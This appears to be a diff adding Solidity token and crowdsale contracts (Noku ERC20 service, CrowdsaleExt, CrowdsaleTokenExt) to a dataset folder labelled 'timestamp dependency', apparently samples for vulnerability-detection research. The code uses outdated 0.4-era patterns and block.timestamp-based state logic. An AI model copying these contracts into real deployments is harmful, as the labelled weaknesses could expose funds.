"_amount is zero"); + + super.burn(_amount); + + require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), "burn fee failed"); + } + + + function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + require(_to != 0, "_to is zero"); + require(_amount > 0, "_amount is zero"); + + super.mint(_to, _amount); + + if (mintingFeeEnabled) { + require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); + } + + return true; + } + + + function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); + + return mint(_to, _amount); + } + + + + + + + + + + + + +} + + + + +library AddressUtils { + + + function isContract(address addr) internal view returns (bool) { + uint256 size; + + + + + + + assembly { size := extcodesize(addr) } + return size > 0; + } + +} + + + +contract NokuCustomService is Pausable { + using AddressUtils for address; + + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + constructor(address _pricingPlan) internal { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + } + + function setPricingPlan(address _pricingPlan) public onlyOwner { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + require(NokuPricingPlan(_pricingPlan) != pricingPlan, "_pricingPlan equal to current"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract NokuCustomERC20Service is NokuCustomService { + event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan); + + uint256 public constant CREATE_AMOUNT = 1 * 10**18; + + uint8 public constant DECIMALS = 18; + + bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = "NokuCustomERC20.create"; + + constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public { + emit LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan); + } + + + function createCustomToken(string _name, string _symbol, uint8 ) public returns(NokuCustomERC20 customToken) { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + block.number, + block.number, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } + + function createCustomToken( + string _name, + string _symbol, + uint8 , + uint256 transferableFromBlock, + uint256 lockEndBlock + ) + public returns(NokuCustomERC20 customToken) + { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + transferableFromBlock, + lockEndBlock, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10250.sol b/smart_contract_dataset/timestamp dependency/10250.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10250.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10253.sol b/smart_contract_dataset/timestamp dependency/10253.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10253.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) 